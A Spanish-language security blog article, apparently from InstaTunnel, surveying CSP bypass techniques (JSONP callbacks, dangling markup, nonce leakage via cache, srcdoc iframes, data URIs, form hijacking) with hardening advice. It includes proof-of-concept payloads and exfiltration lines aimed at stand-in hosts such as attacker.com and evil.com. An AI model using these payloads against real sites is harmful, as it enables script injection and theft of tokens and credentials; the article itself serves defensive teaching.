Evasión de la Política de Seguridad de Contenido: 1,000 formas de romper tu CSP 🛡️
Descubre las técnicas sofisticadas que usan los atacantes para sortear incluso las configuraciones de CSP más estrictas, desde endpoints JSONP hasta inyección de marcado colgante. Por qué tu CSP podría ser solo teatro de seguridad.
Introducción: La falsa sensación de seguridad
La Content Security Policy (CSP) se ha convertido en el estándar de oro para proteger aplicaciones web contra Cross-Site Scripting (XSS) y otros ataques de inyección de contenido. CSP es un mecanismo para definir qué recursos pueden ser solicitados o ejecutados por una página web, implementado mediante encabezados de respuesta o elementos meta en la página HTML. Las organizaciones la despliegan con confianza, creyendo que han levantado una fortaleza impenetrable alrededor de sus aplicaciones.
Pero aquí está la verdad incómoda: una política de CSP mal configurada puede ser evadida, dejando la aplicación vulnerable. En muchos casos, CSP funciona más como teatro de seguridad que como protección real—dando a los desarrolladores una falsa sensación de seguridad mientras los atacantes explotan errores de configuración y peculiaridades del navegador para comprometer las aplicaciones.
Este artículo explora el arsenal sofisticado de técnicas que usan los atacantes para sortear CSP, revelando por qué incluso las políticas más cuidadosamente diseñadas podrían no protegerte tan bien como piensas.
Entendiendo la Política de Seguridad de Contenido
Antes de profundizar en las técnicas de evasión, es crucial entender qué es CSP y cómo debe funcionar.
La Content Security Policy es un estándar del W3C que permite a los desarrolladores controlar la carga y ejecución de ciertos tipos de scripts en una aplicación web. Actúa como una capa adicional de defensa contra ataques de inyección de contenido, particularmente XSS.
CSP funciona definiendo directivas que especifican qué recursos los navegadores pueden cargar y ejecutar. Las directivas comunes incluyen:
- script-src: Controla qué fuentes de JavaScript pueden cargarse
- default-src: Directiva de respaldo para otros tipos de recursos
- img-src: Especifica fuentes válidas para imágenes
- style-src: Controla las fuentes de hojas de estilo
- connect-src: Restringe qué URLs pueden cargarse mediante interfaces de script
- frame-ancestors: Especifica padres válidos para incrustaciones mediante iframes
Sin embargo, CSP no representa tu primera línea de defensa, sino tu defensa en profundidad. Está diseñada para detectar ataques que escapan a la validación de entrada y codificación de salida, no para reemplazarlas completamente.
Los conceptos erróneos más peligrosos
Uno de los mayores problemas con la implementación de CSP es la brecha entre la teoría y la práctica. Muchos desarrolladores implementan CSP sin entender completamente sus limitaciones, lo que conduce a vulnerabilidades críticas.
La trampa ‘unsafe-inline’
El uso de ‘unsafe-inline’ como valor de la directiva script-src hace que la política sea vulnerable y permita scripting en línea. Este error de configuración anula completamente la protección XSS de CSP, ya que los atacantes pueden inyectar etiquetas de script en línea directamente.
Dominios comodín: una bomba de tiempo
Usar comodines en las políticas de CSP puede parecer conveniente, pero abre enormes agujeros de seguridad. Cuando whitelistéas dominios enteros, confías en cada endpoint de ese dominio—incluidos aquellos que podrían ser vulnerables o diseñados para devolver código ejecutable.
Técnica 1: Explotación de endpoints JSONP
Uno de los métodos más confiables para evadir CSP implica explotar endpoints JSONP (JSON con relleno) en dominios whitelist.
Esta técnica de evasión de CSP se basa en la explotación de endpoints JSONP presentes en dominios autorizados. Estos endpoints permiten sortear la política de mismo origen y cargar datos desde otros orígenes, inyectando JavaScript en la respuesta en forma de JSON.
Cómo funcionan las evasiones JSONP
JSONP aprovecha una etiqueta script para cargar datos desde un dominio diferente y luego envuelve los datos en una llamada a función. Como los datos están envueltos en un script, pueden sortear muchas políticas CSP.
Considera una política CSP que whitelisté accounts.google.com:
Content-Security-Policy: script-src 'self' accounts.google.com
Un atacante puede explotarlo con:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
La respuesta contiene JavaScript ejecutable, lo que permite que la función alert(1) se ejecute mediante un script cargado desde ese endpoint.
Existen varios endpoints de evasión CSP listos para usar en JSONBee, haciendo que esta técnica sea accesible incluso para atacantes menos sofisticados.
Impacto en el mundo real
Plataformas importantes como Google, Facebook y numerosos CDN tienen endpoints JSONP que pueden ser utilizados contra sitios que whitelistéan estos dominios. Esto no es una vulnerabilidad teórica—se explota activamente en la actualidad.
Técnica 2: Inyección de marcado colgante
Cuando no es posible un XSS completo debido a restricciones de CSP, los atacantes recurren a la inyección de marcado colgante—una técnica sigilosa para exfiltrar datos sensibles sin ejecutar JavaScript.
La inyección de marcado colgante es una técnica para capturar datos entre dominios en situaciones donde no es posible un ataque completo de cross-site scripting.
La mecánica del marcado colgante
La idea es inyectar HTML parcial en un estado incompleto, como un atributo src de una etiqueta de imagen, y que el resto del marcado cierre el atributo pero también envíe los datos en medio al servidor remoto.
Considera este escenario de inyección:
INYECCIÓN AQUÍ
<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
Un atacante inyecta:
<img src='https://attacker.com/exfil?data=
El marcado resultante captura todo hasta la siguiente comilla:
<img src='https://attacker.com/exfil?data=
<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah">
Evadiendo CSP con manipulación de la etiqueta Base
Usando el atributo target en la etiqueta base, podemos cambiar el nombre de la ventana de cada enlace en la página. Al inyectar un atributo target incompleto, el nombre de la ventana se establecerá con todo el marcado después de la inyección hasta la comilla correspondiente en cada enlace, permitiéndonos robar tokens.
Esta técnica funciona incluso contra políticas CSP restrictivas porque no requiere cargar recursos externos ni ejecutar scripts—simplemente manipula la estructura HTML.
Marcado colgante avanzado con iframe
CSP trata las URLs about:blank como del mismo origen—sin embargo, cuando un atacante establece un iframe de dominio cruzado a about:blank, se vuelve legible por un atacante y definitivamente no es del mismo origen.
Esta peculiaridad del navegador permite ataques sofisticados donde los iframes pueden ser manipulados para filtrar información sensible entre dominios, evadiendo completamente las protecciones CSP.
Técnica 3: Manipulación del caché del navegador
Uno de los descubrimientos más sofisticados recientes implica explotar los mecanismos de caché del navegador para evadir implementaciones de CSP basadas en nonce.
El método explota la interacción entre las implementaciones de CSP con nonce y los mecanismos de caché del navegador, específicamente el back/forward cache (bfcache) y los sistemas de caché en disco.
El ataque de filtración de nonce
La técnica utiliza selectores de atributos CSS para extraer valores de nonce de etiquetas meta que contienen encabezados CSP. Aunque los atributos nonce en las etiquetas script están protegidos por razones de seguridad, los mismos valores reflejados en los atributos de contenido de las etiquetas meta permanecen accesibles.
El ataque se realiza en pasos:
- Usar inyección CSS para filtrar sistemáticamente valores de nonce carácter por carácter
- Explotar vulnerabilidades CSRF para actualizar la carga útil inyectada
- Manipular la caché del navegador para servir la carga útil actualizada con el nonce previamente filtrado
- Ejecutar código malicioso a pesar de la protección CSP basada en nonce
Esta investigación revela implicaciones importantes para la seguridad de aplicaciones web, ya que muchas dependen de CSP con nonce como defensa principal contra ataques XSS.
Técnica 4: Abuso del atributo iframe y srcdoc
El atributo srcdoc de los iframes ofrece otro vector de evasión poderoso que muchas políticas CSP pasan por alto.
La política CSP anterior puede ser evadida usando iframes. La condición es que la aplicación permita iframes del dominio en la lista blanca. Ahora, usando un atributo especial srcdoc del iframe, se puede lograr fácilmente un XSS.
Considera una política como:
Content-Security-Policy: default-src 'self' data: *;
script-src 'self' https://trusted-cdn.com
Un atacante puede inyectar:
<iframe srcdoc="<script src='https://trusted-cdn.com/vulnerable-endpoint.js'></script>"></iframe>
El iframe hereda la CSP del padre, pero puede cargar contenido que evade las restricciones mediante el atributo srcdoc.
Técnica 5: URIs de datos en Base64
Cuando CSP permite data: en las fuentes de scripts, los atacantes pueden codificar scripts maliciosos directamente en el formato compatible con la política.
La presencia de data: en la CSP permite la inclusión de scripts codificados en Base64, que serán interpretados directamente por el navegador.
Ejemplo de explotación:
<script src="data:;base64,YWxlcnQoMSk="></script>
Esta técnica funciona porque el navegador decodifica y ejecuta el JavaScript codificado en Base64, evadiendo las restricciones de recursos externos.
Técnica 6: Bypasses específicos de AngularJS y frameworks
Los frameworks JavaScript legados introducen sus propias oportunidades de evasión.
La política CSP puede ser evadida si la aplicación AngularJS carga scripts desde un dominio en la lista blanca.
Las versiones de AngularJS anteriores a 1.6 son particularmente vulnerables debido a las debilidades en su implementación del sandbox. Los atacantes pueden crear cargas útiles que escapan del sandbox y ejecutan código arbitrario en aplicaciones que usan estos frameworks obsoletos.
El problema de dependencia del framework
Las aplicaciones web modernas dependen de numerosas bibliotecas y frameworks JavaScript. Cada dependencia potencialmente introduce vectores de evasión, especialmente cuando se cargan desde CDNs en la lista blanca que pueden alojar versiones vulnerables.
Técnica 7: Secuestro de formularios
El secuestro de formularios no está relacionado con la ejecución tradicional de scripts, sino que explota vulnerabilidades de inyección HTML para redirigir envíos de formularios.
Cuando CSP no incluye directivas form-action o permite envíos a dominios externos, los atacantes pueden:
- Inyectar un formulario falso que imita interfaces de inicio de sesión legítimas
- Dirigir envíos de formularios a servidores controlados por el atacante
- Robar credenciales y datos sensibles sin ejecutar ningún JavaScript
Esta técnica es particularmente insidiosa porque funciona incluso con las políticas más estrictas de script-src.
Técnica 8: Traversal de rutas en políticas CSP
Una vulnerabilidad sutil pero crítica surge de cómo los navegadores y servidores interpretan las rutas de manera diferente.
Cuando usas / para codificar ‘/’ como parte de tu política CSP y apuntas a una carpeta, todavía se considerará parte de esa carpeta. Cuando el servidor la decodifica, puede ser evadida usando “/../”, saltándose la restricción de carpeta.
Por ejemplo, una política que restringe scripts a /company/ puede ser evadida con:
https://example.com/company/../attacker/malicious.js
Técnica 9: Explotación de etiquetas Object y Embed
Mientras que las etiquetas script reciben la mayor atención, las etiquetas object y embed también pueden ejecutar código.
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
Las evasiones basadas en Flash usando etiquetas object también pueden sortear CSP cuando los archivos Flash legados están en la lista blanca o cuando object-src no está restringido correctamente.
Técnica 10: Ataques de meta tag refresh
Las meta tags ofrecen otra vía para exfiltrar datos y redireccionar:
<meta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data=
Esto inyecta una redirección que puede capturar el contenido de la página siguiente, útil para robar tokens e información sensible.
Por qué tu CSP podría ser solo teatro de seguridad
La dura realidad es que muchas implementaciones de CSP ofrecen un beneficio de seguridad mínimo. Aquí las razones:
La complejidad genera errores
La configuración de CSP es notoriamente compleja. Las configuraciones pueden dejar brechas en la cobertura cuando se usan aplicaciones web antiguas o grandes.
Un solo error de configuración—como incluir ‘unsafe-inline’ o whitelistéar el dominio incorrecto—puede anular completamente la protección.
El problema del whitelist
Cada dominio en la lista blanca es un vector potencial de ataque. A medida que las aplicaciones crecen y se integran con más servicios de terceros, la lista blanca se expande, aumentando exponencialmente la superficie de ataque.
Inconsistencias en los navegadores
Diferentes navegadores interpretan y aplican CSP de manera distinta, creando protección inconsistente en plataformas. Los atacantes explotan estas inconsistencias para crear evasiones que funcionan en navegadores específicos.
Limitaciones del código legado
Incluso cuando las validaciones son evadidas, CSP bloquea la ejecución de scripts desde una fuente no deseada, neutralizando en gran medida el ataque—pero solo si está bien configurada. Las aplicaciones legacy a menudo no pueden adoptar políticas CSP estrictas sin romper funcionalidad.
Cómo probar tu CSP en busca de vulnerabilidades
Varias herramientas pueden ayudar a identificar debilidades en tu implementación de CSP:
Estos evaluadores analizan tu política e identifican configuraciones incorrectas comunes, pero no pueden detectar todas las vulnerabilidades—especialmente las específicas de la aplicación.
Enfoques de prueba manual
Probar CSP efectivamente requiere:
- Identificar todos los dominios en la lista blanca
- Buscar endpoints JSONP en esos dominios
- Probar vulnerabilidades de inyección HTML
- Intentar diversas técnicas de evasión sistemáticamente
- Analizar cómo la aplicación maneja casos límite
Mejores prácticas para fortalecer CSP
Aunque ninguna CSP es completamente a prueba de evasiones, ciertas prácticas mejoran significativamente la seguridad:
Usa Nonces o Hashes, no Whitelists
Evita whitelistéar dominios por completo. En su lugar, usa CSP basada en nonce o hashes:
Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'
Genera un nonce único para cada carga de página y solo permite scripts con ese nonce.
Elimina ‘unsafe-inline’ y ‘unsafe-eval’
Estas directivas nunca deben aparecer en políticas CSP en producción. Erosionan completamente la protección contra XSS.
Restringe todas las directivas
No solo te enfoques en script-src. Configura:
- object-src ‘none’: Evita explotación de object y embed
- base-uri ‘none’: Evita manipulación de la etiqueta base
- form-action ‘self’: Restringe envíos de formularios
- frame-ancestors ‘none’: Previene clickjacking
Implementa modo Report-Only con cuidado
Content-Security-Policy-Report-Only: Se usa para monitoreo; reporta violaciones sin bloquear. Ideal para pruebas en entornos preproducción.
Usa modo report-only para probar políticas antes de aplicar, pero nunca dejarlo habilitado en producción.
Auditorías de seguridad periódicas
CSP no es una solución de configuración y olvido. Las auditorías regulares deben:
- Revisar todos los dominios en la lista blanca por endpoints JSONP
- Probar nuevas técnicas de evasión
- Actualizar políticas a medida que evoluciona la aplicación
- Eliminar dominios en la lista blanca que ya no se usan
Encabezados Cache-Control
Los profesionales de seguridad deben considerar el comportamiento de caché al implementar protecciones CSP, posiblemente requiriendo medidas adicionales como encabezados cache-control.
Encabezados de caché adecuados previenen ataques de filtración de nonce basados en caché.
El enfoque de defensa en profundidad
CSP es una capa adicional contra ataques de inyección de contenido. La primera línea de defensa siempre es codificación de salida y validación de entrada.
Nunca confíes solo en CSP. Una estrategia de seguridad integral incluye:
- Validación de entrada: Rechaza entradas maliciosas antes de que lleguen a tu aplicación
- Codificación de salida: Codifica correctamente todo contenido generado por el usuario
- CSP: Detecta ataques que escapan a otras defensas
- WAF (Firewall de Aplicaciones Web): Bloquea patrones de ataque conocidos
- Encabezados de seguridad: Implementa encabezados adicionales como X-Content-Type-Options y X-Frame-Options
- Actualizaciones regulares: Mantén frameworks y librerías actualizadas
Estudios de casos reales
El incidente JSONP de Google
Numerosas aplicaciones que whitelisté Google cayeron víctimas de explotación de endpoints JSONP. El endpoint oauth2/revoke se convirtió en un objetivo frecuente para evadir CSP.
La ruptura del sandbox en AngularJS
Varias vulnerabilidades de alta gravedad en AngularJS 1.x permitieron escapes completos del sandbox, comprometiendo aplicaciones que confiaban en CSP para protección.
Brechas en plataformas de comercio electrónico
Varias plataformas importantes de comercio electrónico sufrieron brechas de datos cuando atacantes usaron secuestro de formularios para robar credenciales de clientes, a pesar de políticas CSP aparentemente estrictas.
Amenazas emergentes y preocupaciones futuras
A medida que evoluciona la seguridad web, también lo hacen las técnicas de evasión. Algunas preocupaciones emergentes incluyen:
Confusión con la API Trusted Types
Mientras Trusted Types promete mejor protección contra XSS, errores en su implementación pueden crear nuevas oportunidades de evasión.
Explotación de WebAssembly
A medida que WebAssembly se vuelve más prevalente, surgirán nuevos vectores de ataque que las implementaciones actuales de CSP podrían no abordar adecuadamente.
Ataques con Service Worker
Los service workers operan fuera de las restricciones tradicionales de CSP, potencialmente ofreciendo nuevas vías de explotación.
Conclusión: Más allá del teatro de seguridad
La Content Security Policy sigue siendo un mecanismo importante de seguridad, pero no es la solución mágica que muchos creen que es. La multitud de técnicas de evasión—desde explotación JSONP hasta inyección de marcado colgante, manipulación de caché y ataques específicos de frameworks—demuestra que CSP por sí sola no puede asegurar las aplicaciones web modernas.
El camino a seguir requiere:
- Expectativas realistas: Entender las limitaciones de CSP
- Defensa en profundidad: Implementar múltiples controles de seguridad
- Vigilancia continua: Auditar y actualizar políticas regularmente
- Desarrollo con seguridad desde el inicio: Construir seguridad en las aplicaciones desde cero
Tu CSP puede parecer impresionante en auditorías de seguridad, pero si contiene alguna de las configuraciones incorrectas o patrones vulnerables discutidos aquí, puede estar proporcionando poco más que teatro de seguridad. Los atacantes conocen estas técnicas—es hora de que los defensores también.
La pregunta no es si tu CSP puede ser evadida—es cuánto tiempo le tomará a un atacante encontrar la técnica adecuada. Al entender estos métodos de evasión e implementar defensas robustas, puedes elevar significativamente la barrera y proteger tus aplicaciones contra la próxima generación de ataques sofisticados.
Recuerda: CSP es una capa en tu estrategia de seguridad, no toda la estrategia en sí. Implántala correctamente, pruébala a fondo y nunca asumas que hace tu aplicación invulnerable.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.